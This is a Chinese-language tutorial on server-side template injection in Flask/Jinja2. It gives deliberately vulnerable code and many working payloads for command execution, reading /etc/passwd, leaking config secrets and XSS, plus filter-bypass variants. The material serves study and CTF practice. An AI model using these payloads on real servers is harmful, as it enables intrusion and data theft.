Python SSTI漏洞學習總結


什么是SSTI?

SSTI(Server Side Template Injection,服務器端模板注入),而模板指的就是Web開發中所使用的模板引擎。模板引擎可以將用戶界面和業務數據分離,邏輯代碼和業務代碼也可以因此分離,代碼復用變得簡單,開發效率也隨之提高。
服務器端使用模板,通過模板引擎對數據進行渲染,再傳遞給用戶,就可以針對特定用戶/特定參數生成相應的頁面。我們可以類比百度搜索,搜索不同詞條得到的結果頁面是不同的,但頁面的框架是基本不變的。

Flask初識

Flask快速使用

# 安裝虛擬環境
pip install virtualenv
# 生成虛擬環境
virtualenv venv
# 激活環境
./venv/Scripts/activate.bat
# 安裝Flask
pip install flask
# 官方提供的測試代碼,保存為test.py
from flask import Flask
# 使用模塊名作為應用名
app = Flask(__name__)

# 路由:即web訪問路徑
@app.route('/')
def hello_world():
    return 'Hello World!'

if __name__ == '__main__':
    # 啟動Flask應用
    app.run()

在venv下創建code目錄用來存放代碼,運行test.py,然后進入http://127.0.0.1:5000/,可以看到網頁上顯示了Hello World!,代表app啟動成功。

Flask中的Jinja2

在Python中,該漏洞常見於Flask(一個輕量級Web應用框架)模塊中,Flask使用Jinja2作為模板引擎,Jinja2支持以下語法進行數據渲染:

  • {{}}:將花括號內的內容作為表達式執行並返回對應結果。

    # 會被解析為12
    {{3*4}}
    
  • {%%}:用於聲明變量或條件/循環語句

    # 使用set聲明變量
    {% set s = 'Tuzk1' %}
    # 條件語句
    {% if var is true %}Tuzk1{%endif%}
    # 循環語句
    {% for i in range(3) %}Tuzk1{%endfor%}
    
  • {##}:注釋

  • 詳細用法可以查看官方文檔:http://docs.jinkan.org/docs/jinja2/templates.html

Flask渲染

from flask import Flask, render_template
app = Flask(__name__)

@app.route('/')
def hello():
    return 'Hello World'

# 配置路由為/test
@app.route('/test')
def test():
    param = '斯巴拉西'
    # 指定渲染頁面,這里會自動在同級目錄中的templates尋找指定文件,即等價於render_template('./templates/hello.html', param=param),該函數用於渲染一個頁面
    # render_template_string函數則是用於渲染一個字符串,如'<h1>%s</h1>' % 'Hello World'
    return render_template('hello.html', param=param)

if __name__ == '__main__':
    app.run()
<!-- hello.html -->
<html>
	<h1>Hello World!</h1>
	<h2>{{param}}</h2>
</html>

運行,訪問http://127.0.0.1:5000/test:

漏洞原理

有了以上關於Flask的基礎知識,我們就可以來看看漏洞是如何產生的了。由於對用戶輸入過濾不嚴,攻擊者可以通過構造惡意數據,使服務器模板引擎渲染這部分數據,從而達到讀取文件、RCE等目的。

下面,我們來看一下分析一下存在SSTI漏洞的代碼和不存在漏洞的代碼,對比學習,體會一下這個漏洞的原理。

  • 存在SSTI漏洞的代碼

    from flask import Flask, request, render_template_string
    from jinja2 import Template
    app = Flask(__name__)
    
    @app.route('/')
    def index():
        name = request.args.get('name', default='guest')
        t = '''
            <html>
                <h1>Hello %s</h1>
            </html>
            ''' % (name)
        # 將一段字符串作為模板進行渲染
        return render_template_string(t)
    
    """這樣的代碼同樣存在漏洞
    def index():
        name = request.args.get('name', default='guest')
        t = Template(
            '''
            <html>
                <h1>Hello %s</h1>
            </html>
            ''' % name
        )
        # 對模板對象進行渲染
        return t.render()
    """
    app.run()
    

    使用{{10-1}}作為參數id傳入,可以看到表達式被成功執行,這就是SSTI漏洞出現的特征。

  • 不存在漏洞的代碼

    from flask import Flask, request, render_template
    app = Flask(__name__)
    
    @app.route('/')
    def index():
        name = request.args.get('name', default='guest')
        # 
        return render_template('index.html', name=name)
    
    app.run()
    

通過觀察以上代碼,我們可以發現漏洞出現的原因:服務器端將用戶可控的輸入直接拼接到模板中進行渲染,導致漏洞出現。反之,要解決該漏洞,則只需先將模板渲染,再拼接字符串。

深入到Flask渲染函數原理來講,render和render_template_string由用戶拼接,字符串不會自動轉義,而render_template會對字符串計進行自動轉義,因此避免了參數被作為表達式執行。

漏洞利用

利用思路

這里以通過SSTI進行RCE為例,基本的利用思路為:

  • 隨便找個倒霉的內置類:[]、""
  • 通過這個類獲取到object類:__base__、__bases__、__mro__
  • 通過object類獲取所有子類:__subclasses__()
  • 在子類列表中找到可以利用的類
  • 直接調用類下面函數或使用該類空間下可用的其他模塊的函數

魔術方法

為此,我們需要用到以下魔術方法:

魔術方法 作用
__init__ 對象的初始化方法
__class__ 返回對象所屬的類
__module__ 返回類所在的模塊
__mro__ 返回類的調用順序,可以此找到其父類(用於找父類
__base__ 獲取類的直接父類(用於找父類
__bases__ 獲取父類的元組,按它們出現的先后排序(用於找父類
__dict__ 返回當前類的函數、屬性、全局變量等
__subclasses__ 返回所有仍處於活動狀態的引用的列表,列表按定義順序排列(用於找子類
__globals__ 獲取函數所屬空間下可使用的模塊、方法及變量(用於訪問全局變量
__import__ 用於導入模塊,經常用於導入os模塊
__builtins__ 返回Python中的內置函數,如eval

尋找可利用類

# 獲取對象所屬的類
''.__class__
<class 'str'>
().__class__
<class 'tuple'>
[].__class__
<class 'list'>
 "".__class__
<class 'str'>
# 獲取父類
>>> ''.__class__.__base__
<class 'object'>
>>> ''.__class__.__bases__
(<class 'object'>,)
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
# 獲取子類
''.__class__.__base__.__subclasses__()
''.__class__.__bases__[0].__subclasses__()
''.__class__.__mro__[-1].__subclasses__()

寫個腳本跑一下,看看哪個類可以用,我這里是138和479可以用。

import re

# 將查找到的父類列表替換到data中
data = r'''
    [<class 'type'>, <class 'weakref'>, ......]
'''
# 在這里添加可以利用的類,下面會介紹這些類的利用方法
userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']

pattern = re.compile(r"'(.*?)'")
class_list = re.findall(pattern, data)
for c in class_list:
    for i in userful_class:
        if i in c:
            print(str(class_list.index(c)) + ": " + c)

構造payload

於是構造payload,可以獲取配置文件、XSS、進行RCE(反彈shell也行)或者文件讀寫:

  • 獲取配置信息

    # 獲取配置信息
    {{config}}		# 能獲取到config,它包含了如數據庫鏈接字符串、連接到第三方的憑證、SECRET_KEY等敏感信息
    {{request.environ}}	# 服務器環境信息
    
  • XSS

    # XSS(本文主要講SSTI的RCE姿勢,XSS過濾不展開講)
    name=<script>alert(/YouAreHacked/)</script>
    
  • RCE

    # 利用warnings.catch_warnings配合__builtins__得到eval函數,直接梭哈(常用)
    {{[].__class__.__base__.__subclasses__()[138].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()}}
    
    # 利用os._wrap_close類所屬空間下可用的popen函數進行RCE的payload
    {{"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
    {{"".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
    
    # 利用subprocess.Popen類進行RCE的payload
    {{''.__class__.__base__.__subclasses__()[479]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
    
    # 利用__import__導入os模塊進行利用
    {{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
    
    # 利用linecache類所屬空間下可用的os模塊進行RCE的payload,假設linecache為第250個子類
    {{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
    {{[].__class__.__base__.__subclasses__()[250].__init__.func_globals['linecache'].__dict__.['os'].popen('whoami').read()}}
    
    # 利用file類(python3將file類刪除了,因此只有python2可用)進行文件讀
    {{[].__class__.__base__.__subclasses__()[40]('etc/passwd').read()}}
    {{[].__class__.__base__.__subclasses__()[40]('etc/passwd').readlines()}}
    # 利用file類進行文件寫(python2的str類型不直接從屬於屬於基類,所以要兩次 .__bases__)
    {{"".__class__.__bases[0]__.__bases__[0].__subclasses__()[40]('/tmp').write('test')}}
    
    # 通用getshell,都是通過__builtins__調用eval進行代碼執行
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
    # 讀寫文件,通過__builtins__調用open進行文件讀寫
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
    

常見繞過

過濾單雙引號

  • 通過request傳參繞過(過濾命令時可用,當然,一般是不會起這么囂張的參數名的[doge])

    # request.values
    {{"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen(request.values.rce).read()}}&rce=cat /flag
    # request.cookies
    {{"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen(request.cookies.rce).read()}}
    Cookie: rce=cat /flag;
    # 還有request.headers、request.args,這里不作演示
    
  • 獲取chr函數,賦值給chr,拼接字符串

    {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
    # %2b是+的url轉義
    {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}
    

過濾中括號

# 原payload,可以使用__base__繞過__bases__[0]
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
# 通過__getitem__()繞過__bases__[0]、通過pop(128)繞過__subclasses__()[128]
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()

# 原payload
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
# 繞過
[].__class__.__base__.__subclasses__().__getitem__(59).__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")

過濾雙下划線

# request妙用,繞過
{{''[request.args.a][request.args.b][2][request.args.c]()}}&a=__class__&b=__mro__&c=__subclasses__

# request傳參繞過
# request.args
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
# request.cookies
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}
Cookie: class=__class__; mro=__mro__; subclasses=__subclasses__;
# 還有request.headers、request.args

過濾關鍵字

  • 拼接字符串

    'o'+'s'
    'sy' + 'stem'
    'fl' + 'ag'
    
  • 編碼:Base64、rot13、16進制......

  • 大小寫繞過

  • 過濾config

    # 繞過,同樣可以獲取到config
    {{self.dict._TemplateReference__context.config}}
    

過濾雙花括號

  • {% + print繞過

    {%print(''.__class__.__base__.__subclasses__()[138].__init__.__globals__.popen('whoami').read())%}
    

通用getshell

  • 過濾引號、中括號

    {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{% for c in ().__class__.__base__.__subclasses__() %} {% if c.__name__==chr(95)%2bchr(119)%2bchr(114)%2bchr(97)%2bchr(112)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(111)%2bchr(115)%2bchr(101) %}{{ c.__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read() }}{% endif %}{% endfor %}
    
  • 過濾引號、中括號、下划線

    # 使用getlist,獲取request的__class__
    {{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
    # 拆解一下,等價於下列payload
    {{request|attr('__class__')}}
    {{request['__class__']}}
    {{request.__class__}}
    
    # 獲取__object__
    {{request|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l2)|join)}}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_
    # 通過flask類獲取會更快
    {{flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)}}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_
    
  • 過濾引號、中括號、下划線、花括號(綜合大應用),可能會有一點點復雜:)

    # 打印子類並找到可以利用的類
    {%print(flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l3)|join)())%}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_&l3=c&c=_&c=_&c=subclasses&c=_&c=_
    
    # 然后稍微加一點難度
    # 目錄-尋找可利用類 中用到的腳本跑一下,得到os._wrap_close的序號為138(這里用這個類來演示),於是:
    {%print(flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l3)|join)()|attr(request.args.getlist(request.args.l4)|join)(138)|attr(request.args.getlist(request.args.l5)|join)|attr(request.args.getlist(request.args.l6)|join)).popen(request.args.rce).read()%}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_&l3=c&c=_&c=_&c=subclasses&c=_&c=_&l4=d&d=_&d=_&d=getitem&d=_&d=_&l5=e&e=_&e=_&e=init&e=_&e=_&l6=f&f=_&f=_&f=globals&f=_&f=_&rce=whoami
    # 等價於
    {{''.__class__.__base__.__subclasses__()[138].__init__.__globals__.popen('whoami').read()}}
    

結語

寫到后面,我認為后面繞過這部分應該多出現於比賽當中,在實際環境中沒什么用,因此沒必要花太多時間研究。

這篇文章花了三天才寫完,中途參考了很多師傅的文章(測試payload頁測試到手麻了qwq),非常感謝這些師傅。

參考文章

SSTI模板注入漏洞——https://blog.csdn.net/CaiNiaoLW/article/details/110213962
淺談SSTI——https://www.freebuf.com/articles/web/290756.html
SSTI模板注入(Python+Jinja2)——https://xz.aliyun.com/t/7746
vulhub——https://vulhub.org/#/environments/flask/ssti/
SSTI詳解 一文了解SSTI和所有常見payload 以flask模板為例——https://blog.csdn.net/weixin_44604541/article/details/109048578


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM